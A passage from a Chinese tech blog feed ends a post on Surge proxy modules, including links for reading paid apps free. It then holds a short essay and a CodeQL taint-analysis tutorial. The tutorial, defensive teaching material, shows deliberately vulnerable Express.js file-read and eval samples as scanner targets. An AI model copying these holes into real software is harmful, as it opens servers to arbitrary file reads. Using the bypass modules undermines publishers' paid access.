&lt;li&gt;脚本的配置比较繁琐，需要自行添加MITM的域名&lt;/li&gt;
&lt;li&gt;模块相对来说更简单，一键安装即可（但依赖模块作者开发的质量，比如之前有个模块作者直接覆盖掉了我的 &lt;code&gt;skip-proxy&lt;/code&gt;  配置，我后面找了半天才找到原因）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;!-- &amp;lt;p class=&quot;flex justify-between&quot;&amp;gt;
&amp;lt;img src=&quot;./attachments/QmbHDnoKPwEsnbxymDRPrDSisZ5VQ63N7hL3orXLtmcFa4.png&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;img src=&quot;./attachments/Qmbs8zoe1G95JFfj7k7sdA3MrLHzoCHEsHGwQJNZ36b7pH.jpeg&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;/p&amp;gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmbHDnoKPwEsnbxymDRPrDSisZ5VQ63N7hL3orXLtmcFa4.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./attachments/Qmbs8zoe1G95JFfj7k7sdA3MrLHzoCHEsHGwQJNZ36b7pH.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下面提供了一些开箱即用的模块：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;京东比价：&lt;a href=&quot;https://raw.githubusercontent.com/Rabbit-Spec/Surge/Master/Module/Spec/JD_Price/Moore/JD_Price.sgmodule&quot;&gt;https://raw.githubusercontent.com/Rabbit-Spec/Surge/Master/Module/Spec/JD_Price/Moore/JD_Price.sgmodule&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;阿里云盘签到：&lt;a href=&quot;https://github.com/rayepeng/surge-module/raw/main/aliyunpan.sgmodule.sgmodule&quot;&gt;https://github.com/rayepeng/surge-module/raw/main/aliyunpan.sgmodule.sgmodule&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;看天下app免费读：&lt;a href=&quot;https://raw.githubusercontent.com/rayepeng/surge-module/main/ktx.sgmodule&quot;&gt;https://raw.githubusercontent.com/rayepeng/surge-module/main/ktx.sgmodule&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;财新周刊免费读： &lt;a href=&quot;https://raw.githubusercontent.com/rayepeng/surge-module/main/caixin.sgmodule&quot;&gt;https://raw.githubusercontent.com/rayepeng/surge-module/main/caixin.sgmodule&lt;/a&gt;\&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;更进阶的模块技巧需要搭配boxjs使用，安装链接：&lt;a href=&quot;https://raw.githubusercontent.com/chavyleung/scripts/master/box/rewrite/boxjs.rewrite.surge.sgmodule&quot;&gt;https://raw.githubusercontent.com/chavyleung/scripts/master/box/rewrite/boxjs.rewrite.surge.sgmodule&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;文档：&lt;a href=&quot;https://docs.boxjs.app/&quot;&gt;介绍 - BoxJs&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;比如自定义B站ui的模块：&lt;a href=&quot;https://raw.githubusercontent.com/BiliUniverse/Enhanced/main/modules/BiliBili.Enhanced.sgmodule&quot;&gt;https://raw.githubusercontent.com/BiliUniverse/Enhanced/main/modules/BiliBili.Enhanced.sgmodule&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;搭配boxjs可以自由勾选首页展示的内容：&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &amp;lt;p class=&quot;flex justify-between&quot;&amp;gt;
&amp;lt;img src=&quot;./attachments/Qmc781PbGmtojMAHxRGi2pFux5jfG8MmbJ1TS16tPb3nch.jpeg&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;img src=&quot;./attachments/QmXPQL84Pc7YJxNr1bbMH2idZcEzqgsSYEuMZcgNZ1ivLo.png&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;/p&amp;gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/Qmc781PbGmtojMAHxRGi2pFux5jfG8MmbJ1TS16tPb3nch.jpeg&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./attachments/QmXPQL84Pc7YJxNr1bbMH2idZcEzqgsSYEuMZcgNZ1ivLo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;后续内容&lt;/p&gt;
&lt;p&gt;零零散散先写了这么多，主要是平常使用到的一些经验沉淀，后面一篇准备写一下配置文件、编写脚本和模块吧&lt;/p&gt;
&lt;p&gt;参考&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@alanhg/surge-mac%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97-cbebb2c90f89&quot;&gt;Surge Mac使用指南 | by Alan He | Jan, 2024 | Medium&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.nssurge.com/book/understanding-surge/cn/&quot;&gt;Surge 官方中文指引：理解 Surge 原理 (nssurge.com)&lt;/a&gt; surge官方的文档，对于深入理解网络协议有很大的帮助&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/getsomecat/GetSomeCats/blob/Surge/Surge%E6%96%B0%E6%89%8B%E4%BB%8E%E6%B3%A8%E5%86%8CApple%20ID%E5%88%B0%E9%80%80%E6%AC%BE.md&quot;&gt;GetSomeCats/Surge新手从注册Apple ID到退款.md at Surge · getsomecat/GetSomeCats (github.com)&lt;/a&gt; 这个写的很详细了&lt;/li&gt;
&lt;li&gt;推荐最小配置，可以认识配置文件 &lt;a href=&quot;https://community.nssurge.com/d/1214&quot;&gt;中国区用户推荐最小配置 - Surge Tech Community (nssurge.com)&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>我们失去长文阅读能力了吗？</title><link>https://rayepeng.net/posts/%E6%88%91%E4%BB%AC%E5%A4%B1%E5%8E%BB%E9%95%BF%E6%96%87%E9%98%85%E8%AF%BB%E8%83%BD%E5%8A%9B%E4%BA%86%E5%90%97/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%88%91%E4%BB%AC%E5%A4%B1%E5%8E%BB%E9%95%BF%E6%96%87%E9%98%85%E8%AF%BB%E8%83%BD%E5%8A%9B%E4%BA%86%E5%90%97/</guid><pubDate>Wed, 31 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;我们失去长文阅读能力了吗？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmcDMMJf7wKoU1BnTRSCF2N8wmBPeuk7tMi3zpaKkmje4X.png&quot; alt=&quot;cahngwn&quot; /&gt;&lt;/p&gt;
&lt;p&gt;起因是一次工作后去玩剧本杀，大家面对冗长的文字，纷纷抱怨读得好累，此时一位同事感慨，“我们似乎已经失去长文阅读能力了”&lt;/p&gt;
&lt;p&gt;我不太喜欢这种说法，却发现无法反驳，只能在无可奈何中又默默地背上一顶帽子&lt;/p&gt;
&lt;p&gt;那什么是长文呢？有标准吗，如果按照我们以前高考写作文的字数，姑且认为800字就可以算作长文吧，那看来我们以前是有读写长文能力的，现在面对剧本杀动辄上万字的文稿，我们似乎确实已失去了长文阅读能力了吧&lt;/p&gt;
&lt;p&gt;但我还是有疑问，阅读长文，这一再普通不过的技能，为什么会成为自媒体口诛笔伐的对象？难道这是一种稀缺的能力？&lt;/p&gt;
&lt;p&gt;不，实际上是这种所谓”似乎失去“的万能句式，有这极大的杀伤力。任何一件事物，只要套上，诸如，”似乎失去了好好睡觉的能力“，”似乎失去了写作的能力“，”似乎失去了交友的能力“等，这些本属于我们自己的日常生活，属于我们的私事，好像就可以被摁到自媒体们的放大镜下，接受鸡蛋里挑骨头般的考核（似乎，还带着一点朦胧诗意的语言🐶）&lt;/p&gt;
&lt;p&gt;走出了这种万能句式给我们设下的陷阱，再重新审视这个问题，有问题总是好的，我们大可不用愧疚，而是就事论事，我们真的有失去长文阅读能力吗？我认为是没有的&lt;/p&gt;
&lt;p&gt;如开头所述的场景中，工作劳累了一天的我们，面对上万字的文本，抱怨两声似乎也无可厚非，大可不用受到这种pua式的指责&lt;/p&gt;
&lt;p&gt;阅读长文本质是和注意力挂钩的，当你有足够满格的注意力，并且也不知疲倦，此时哪怕是二十四史在你面前，也都是小菜一碟吧&lt;/p&gt;
&lt;p&gt;就有人问了，那短视频、游戏呢，不是也分走了我们的注意力吗，此时我们是不是就已经失去了阅读长文的能力吗？&lt;/p&gt;
&lt;p&gt;注意力被分走了，但还是会恢复的，只是随着长时间的沉溺，注意力确实很难集中。但这并不代表我们就失去了长文阅读能力啊，哪怕长文，不也是一段段的吗，慢慢读不就行了&lt;/p&gt;
&lt;p&gt;只是在一些人眼中，似乎只要不是一口气读完长文，就不算真正拥有了阅读能力；似乎只要不是整天苦行僧般地学习，就不算真正地自律&lt;/p&gt;
&lt;p&gt;荀子是劝你们要学习了，但他老人家似乎从没要求过要逼迫自己吧，不积跬步，无以至千里，正所谓厚积薄发，慢慢积累就好&lt;/p&gt;
&lt;p&gt;以及，文本的质量，也会影响阅读的效率，这就不多说了，对比下《耶路撒冷三千年》的简中和繁中版本就知道了&lt;/p&gt;
&lt;p&gt;我只希望，那些”水字数“的自媒体们，少点心思，多沉下来，”似乎你们已经失去了写出好文章的能力了“&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>23年运动记录</title><link>https://rayepeng.net/posts/23%E5%B9%B4%E8%BF%90%E5%8A%A8%E8%AE%B0%E5%BD%95/</link><guid isPermaLink="true">https://rayepeng.net/posts/23%E5%B9%B4%E8%BF%90%E5%8A%A8%E8%AE%B0%E5%BD%95/</guid><pubDate>Mon, 15 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;23年运动记录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/Qmd6WaQYJLiMrKWWMiuZ7A9CAaSy58JrVHDJku2nuHj3pi.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Codeql 原理分析（一）</title><link>https://rayepeng.net/posts/codeql-%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90%E4%B8%80/</link><guid isPermaLink="true">https://rayepeng.net/posts/codeql-%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90%E4%B8%80/</guid><pubDate>Mon, 15 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Codeql 原理分析（一）&lt;/p&gt;
&lt;p&gt;Codeql原理概述&lt;/p&gt;
&lt;p&gt;codeql整个漏洞扫描可以分为两部分：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AST数据库创建，通过命令行工具即可&lt;/li&gt;
&lt;li&gt;规则编写，类似SQL的语法来编写漏洞查询规则&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmXvXbd5GHu47AnC52VmAR7mCAxA6eWD3t2wk8daEKa838.png&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;分为编译型语言和非编译型语言&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;非编译型语言，如python、js&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;codeql database create --language=javascript --source-root &amp;lt;folder-to-extract&amp;gt; databaseName
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;编译型语言，如cpp、go&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;codeql database create &quot;xxx&quot; --language=cpp -c &quot;gcc main.c&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编译出来的数据库长这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.
├── baseline-info.json
├── codeql-database.yml
├── db-javascript
│   ├── default
│   ├── semmlecode.javascript.dbscheme
│   └── semmlecode.javascript.dbscheme.stats
├── diagnostic
│   ├── cli-diagnostics-add-20231128T030607.340Z.json
│   ├── extractors
│   └── tracer
├── log
│   └── database-create-20231128.110453.457.log
└── src.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;重点是 &lt;code&gt;db-javascript&lt;/code&gt; 文件夹，包含了对应的AST结构数据库结构&lt;/li&gt;
&lt;li&gt;&lt;code&gt;log&lt;/code&gt; 目录和日志相关&lt;/li&gt;
&lt;li&gt;&lt;code&gt;src.zip&lt;/code&gt;是源代码的备份&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;规则编写——打点&lt;/p&gt;
&lt;p&gt;一个简单的规则&lt;/p&gt;
&lt;p&gt;比如任意文件读取漏洞，如下 &lt;code&gt;fs.readFile&lt;/code&gt; 函数存在任意文件读取漏洞&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const express = require(&apos;express&apos;);
const fs = require(&apos;fs&apos;);
const app = express();

app.get(&apos;/getFile&apos;, (req, res) =&amp;gt; {
  const fileName = req.query.fileName;
  fs.readFile(fileName, &apos;utf8&apos;, (err, data) =&amp;gt; {
    if (err) {
      res.status(500).send(err.toString());
    } else {
      res.send(data);
    }
  });
});

app.listen(3000);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以将代码中含有 &lt;code&gt;fs.readFile&lt;/code&gt; 函数的代码都提取出来，编写规则如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * @name fs-read-file
 * @kind problem
 * @problem.severity warning
 * @tags correctness
 * @id js
 */



from CallExpr fsReadFile
where
  fsReadFile.getCalleeName() = &quot;readFile&quot;
select fsReadFile, &quot;This is a call to fs.readFile.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;codeql查询本质是通过AST树来查找的，写法类似SQL的写法&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;from 定义变量，比如我们想查询 &lt;code&gt;readFile&lt;/code&gt; ，这是一个函数调用表达式 &lt;code&gt;CallExpr&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;还有一些限制条件，这个函数调用表达式的被调用函数名称，类似 sql 的where条件写法&lt;/li&gt;
&lt;li&gt;最后select出查询的结果&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当然很明显，存在大量的误报，所有的 &lt;code&gt;fs.readFile&lt;/code&gt; 函数都会被认为是存在漏洞&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmeZ8E78fDerUcBdXHyYTZXoboRqxzqxNGLd8NyeLgVUJk.png&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以我们面临一个问题，即如何区分正常的代码和有污点的代码 &lt;strong&gt;sink&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;污点分析原理&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmdGSphXWkZwHJqJRZt2yQsUNLvYb2sHsZHtxToMofhTYS.png&quot; alt=&quot;DraggedImage-2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如图，我们定义&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;source：数据源，代表直接引入不受信任的数据或者机密数据到系统中&lt;/li&gt;
&lt;li&gt;sink：污点汇聚点，代表直接产生安全敏感操作或者泄露隐私数据到外界&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;至于其中经过的一个个Node，可以认为是词法分析里最小的一个个Token，代表着if、while、for、函数调用等&lt;/p&gt;
&lt;p&gt;污点分析的步骤：&lt;/p&gt;
&lt;p&gt;只要我们标记了source和sink，
codeql会判断只要满足有一条路径能够从 source 流向 sink ，就会认为这是一个漏洞&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmdKaJNo9rs1EVx8z1BrGphZMahacKNPcCPtFmZSX1h4xQ.png&quot; alt=&quot;DraggedImage-3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;污点分析的局限&lt;/p&gt;
&lt;p&gt;官方没有公开原理，但是经过多轮测试我们发现codeql追踪最准的还是赋值语句，&lt;strong&gt;路径&lt;/strong&gt;更多的是形式上的，并且没有考虑到语言特性：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代码1：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let x = process.argv[0]
let ctrl = 1
let y

if(ctrl &amp;gt; 0){
    y = 1
}else{
    y = x
}
eval(y)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;source 定义为 &lt;code&gt;process.argv[0]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;sink 定义为 &lt;code&gt;eval(y)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;尽管 ctrl 永远是大于0的，但codeql还是会判断存在从source到sink的路径&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代码2&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let x = process.argv[0]
Object.prototype.a = x

let y = {}
eval(y.a)

// 或者
let x = process.argv[0]

let c = {}
c.a = x

let y = {
    b:c
}
eval(y.b.a)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实际上这里都存在问题，但codeql均无法召回&lt;/p&gt;
&lt;p&gt;细化污点规则&lt;/p&gt;
&lt;p&gt;codeql的判断是比较有限的，如果仅仅标记source和sink会出现大量的误报和漏报情况&lt;/p&gt;
&lt;p&gt;分析这些情况，大致可以归纳从 source 到 sink 所经过的代码路径为如下四种（代码特性的除外需要额外做判断）&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;经过一系列正常的 if、while 等正常流程到达 sink&lt;/li&gt;
&lt;li&gt;经过一个filter函数过滤到达sink&lt;/li&gt;
&lt;li&gt;经过一个check函数，如果不满足条件，则无法到达sink，但形式上还是可以流向sink的&lt;/li&gt;
&lt;li&gt;经过一个正常的join等函数到达sink&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmetqM9EEoK3FMp3n1rMuFUtSvpA7Wsfev1rQhp5u1HKc1.png&quot; alt=&quot;DraggedImage-4&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;数据源通过无害处理到达污点sink&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const express = require(&apos;express&apos;);
const fs = require(&apos;fs&apos;);
const app = express();
  
function sanitizePath(path) {
  // 简单的清理逻辑，例如移除路径导航字符
  return path.replace(/(\.\.\/|\/\.\.)/g, &apos;&apos;);
}
  
  
app.get(&apos;/getFile&apos;, (req, res) =&amp;gt; {
  const fileName = req.query.fileName;
  const safeFileName = sanitizePath(fileName);
  fs.readFile(safeFileName, &apos;utf8&apos;, (err, data) =&amp;gt; {
    if (err) {
      res.status(500).send(err.toString());
    } else {
      res.send(data);
    }
  });
});
  
app.listen(3000);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;数据源检查不通过直接返回&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const express = require(&apos;express&apos;);
const fs = require(&apos;fs&apos;);
const app = express();
  
  
const SAFE_DIRECTORY = &apos;/path/to/safe/directory&apos;;
  
app.get(&apos;/getFile&apos;, (req, res) =&amp;gt; {
  const fileName = req.query.fileName;
  if (!fileName.startsWith(SAFE_DIRECTORY)) {
    // 不允许读取
    return res.status(403).send(&apos;Access denied&apos;);
  }
  fs.readFile(fileName, &apos;utf8&apos;, (err, data) =&amp;gt; {
    if (err) {
      res.status(500).send(err.toString());
    } else {
      res.send(data);
    }
  });
});
  
app.listen(3000);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;数据源直接到达污点，或者经过多个处理到达污点（实际是两种）&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const express = require(&apos;express&apos;);
const fs = require(&apos;fs&apos;);
const path = require(&apos;path&apos;);
const app = express();

app.get(&apos;/getLog&apos;, (req, res) =&amp;gt; {
  const logFile = req.query.logFile;
  const logPath = path.join(__dirname, &apos;logs&apos;, logFile); // 经过path.join 
  fs.readFile(logPath, &apos;utf8&apos;, (err, data) =&amp;gt; {
    if (err) {
      res.status(500).send(err.toString());
    } else {
      res.send(data);
    }
  });
});

app.listen(3000);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此我们需要做额外的处理，除了定义source和sink之外，还需要增加 barrier、sanitizer、AdditionTaintStep&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;filter：无害处理(sanitizer)，代表通过数据加密或者移除危害操作等手段使数据传播不再对软件系统的信息安全产生危害&lt;/li&gt;
&lt;li&gt;barrier：屏障，不同于sanitizer，barrier不清理或改变数据，而是作为条件检查或决策点，阻止数据流的某些路径。&lt;/li&gt;
&lt;li&gt;AdditionTaintStep: source在传递的过程中可能断开，这时需要手动连接&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;编写污点分析规则&lt;/p&gt;
&lt;p&gt;codeql中提供了两种方式来分析&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;静态规则，即AST树查询，以AST树节点的方式呈现，属于静态分析&lt;/li&gt;
&lt;li&gt;动态规则，即数据流DataFlow查询，抽象为 &lt;code&gt;DataFlow::Node&lt;/code&gt; 基类，属于动态分析&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AST树很好理解，&lt;code&gt;DataFlow&lt;/code&gt; 会有点抽象，主要分为几种不同的节点&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DataFlow::Node&lt;/code&gt; 可以表示程序里的任何元素，基类，即词法分析里的Token&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;var x = 10; // &apos;x&apos; 和 &apos;10&apos; 都可以是 DataFlow::Node 的实例
var y = x + 5; // &apos;y&apos;, &apos;x + 5&apos;, &apos;x&apos;, 和 &apos;5&apos; 也都是 DataFlow::Node 的实例
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DataFlow::ValueNode&lt;/code&gt; 用于表示程序中的值或者表达式&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;var name = &quot;Alice&quot;; // &apos;name&apos; 和 &quot;Alice&quot; 都是 DataFlow::ValueNode 的实例
function greet() {
    return &quot;Hello, &quot; + name; // &apos;return &quot;Hello, &quot; + name;&apos; 是 DataFlow::ValueNode 的实例
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DataFlow::SourceNode&lt;/code&gt; 表示程序的输入点，如用户输入，文件读取等&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DataFlow::SinkNode&lt;/code&gt; 表示可能存在sink的点&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DataFlow::PathNode&lt;/code&gt; 用于敏感数据分析的变量，没有特殊的用途了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;编写规则一般的流程是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;定义source，即输入数据源是什么，可以理解为是外部输入的数据&lt;/li&gt;
&lt;li&gt;定义sink，即污点代码，比如 &lt;code&gt;readFile&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;定义isBarrier、isSanitizer、isAdditionalTaintStep （非必需，只是为了减少误报和漏报）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一般框架如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;



class FileReadFromUserInput extends TaintTracking::Configuration {
  FileReadFromUserInput() { this = &quot;FileReadFromUserInput&quot; }

  override predicate isSource(DataFlow::Node source) {
		// 定义Source
  }
  override predicate isSink(DataFlow::Node sink) {
		// 定义Sink
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;codeql通过类似函数的写法，结合AST语法树的查询来打点标记，比如标记eval处的sink点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   override predicate isSink(DataFlow::Node sink) {
    // Eval is a sink
    exists(CallExpr call |
        call.getCalleeName() = &quot;eval&quot; and
        sink.asExpr() = call.getArgument(0)
      )
   }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后查询：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from FileReadFromUserInput cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink.getNode(), source, sink, &quot;$@ flows to $@ &quot;, source.getNode(), source.toString(), sink.getNode(), sink.toString()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Source&lt;/p&gt;
&lt;p&gt;express框架里，Source一般比较固定，即 &lt;code&gt;req.query.xxxx&lt;/code&gt; 就是外部输入的数据&lt;/p&gt;
&lt;p&gt;Source的编写本质也是通过AST语法树来查找，对于现成的框架如express，codeql有编写好的规则可以直接用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;override predicate isSource(DataFlow::Node source) {
    exists(Express::RouteHandler rh, DataFlow::SourceNode sn |
        sn = rh.getARequestSource() and
        source = sn.getAPropertyRead(&quot;query&quot;).getAPropertyRead()
    )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;exists&lt;/code&gt; 也是一个谓词，这里是为了简单地引入临时变量&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Express::RouteHandler&lt;/code&gt; 是内置的一个规则，能查找出express对应的路由处理代码&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;注意这里的 &lt;code&gt;=&lt;/code&gt; 要从右到左看，本质上是赋值的意思&lt;/p&gt;
&lt;p&gt;写完之后就可以马上select一下看看结果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmTKeFCVqSmWnHLbptUQCwNV1dmoFs2kDZD4WAoqyEMqeb.png&quot; alt=&quot;DraggedImage-5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Sink&lt;/p&gt;
&lt;p&gt;由于是处理任意文件读取漏洞，sink就是我们最开始编写的查找 &lt;code&gt;readFile&lt;/code&gt; 调用。额外注意的是，还需要标注对应的sink点&lt;/p&gt;
&lt;p&gt;&lt;code&gt;fs.readFile&lt;/code&gt; 的第一个参数是可能被控制的点，因此通过&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sink.asExpr() = call.getArgument(0)&lt;/code&gt; (这里的sink要做下数据类型转换，DataFlow和AST节点是两个模型）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  override predicate isSink(DataFlow::Node sink) {
    exists(CallExpr call |
        call.getCalleeName() = &quot;readFile&quot; and
        sink.asExpr() = call.getArgument(0)
      )
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;AdditionalTaintStep&lt;/p&gt;
&lt;p&gt;但是这种情况下会存在漏洞，比如这个就无法找到，因为经过了 &lt;code&gt;path.join&lt;/code&gt; ，source被传递了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const express = require(&apos;express&apos;);
const fs = require(&apos;fs&apos;);
const path = require(&apos;path&apos;);
const app = express();

app.get(&apos;/getLog&apos;, (req, res) =&amp;gt; {
  const logFile = req.query.logFile;
  const logPath = path.join(__dirname, &apos;logs&apos;, logFile);
  fs.readFile(logPath, &apos;utf8&apos;, (err, data) =&amp;gt; {
    if (err) {
      res.status(500).send(err.toString());
    } else {
      res.send(data);
    }
  });
});

app.listen(3000);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以需要额外编写一个 &lt;code&gt;isAdditionalTaintStep&lt;/code&gt;，即如果遇到了 &lt;code&gt;join&lt;/code&gt; 这种函数，可以视作source经过了一次传递，后继节点可以继续连接上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  override predicate isAdditionalTaintStep(DataFlow::Node pred, DataFlow::Node succ) {
    exists(CallExpr call |
        call.getCalleeName() = &quot;join&quot; and (
            pred.asExpr() = call.getAnArgument() and succ.asExpr() = call
        )
    )
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终汇总的规则与结果分析&lt;/p&gt;
&lt;p&gt;最后的规则汇总，不过还是存在一些误报，即没有处理 sanitizer&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * @name file-read-from-user-input
 * @kind path-problem
 * @problem.severity warning
 * @tags correctness
 * @id js
 */





class FileReadFromUserInput extends TaintTracking::Configuration {
  FileReadFromUserInput() { this = &quot;FileReadFromUserInput&quot; }

  override predicate isSource(DataFlow::Node source) {
      exists(Express::RouteHandler rh, DataFlow::SourceNode sn |
          sn = rh.getARequestSource() and
          source = sn.getAPropertyRead(&quot;query&quot;).getAPropertyRead()
      )
  }
  override predicate isSink(DataFlow::Node sink) {
    exists(CallExpr call |
        call.getCalleeName() = &quot;readFile&quot; and
        sink.asExpr() = call.getArgument(0)
      )
  }

  override predicate isAdditionalTaintStep(DataFlow::Node pred, DataFlow::Node succ) {
    exists(CallExpr call |
        call.getCalleeName() = &quot;join&quot; and (
            pred.asExpr() = call.getAnArgument() and succ.asExpr() = call
        )
    )
  }

}

from FileReadFromUserInput cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink.getNode(), source, sink, &quot;$@ flows to $@ &quot;, source.getNode(), source.toString(), sink.getNode(), sink.toString()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Select的结果中也可以看到数据流向&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmezTJ3eDYAmpVTtQCcUJWzQxD55CbCpG8xK6ARoLyD7D1.png&quot; alt=&quot;DraggedImage-6&quot; /&gt;&lt;/p&gt;
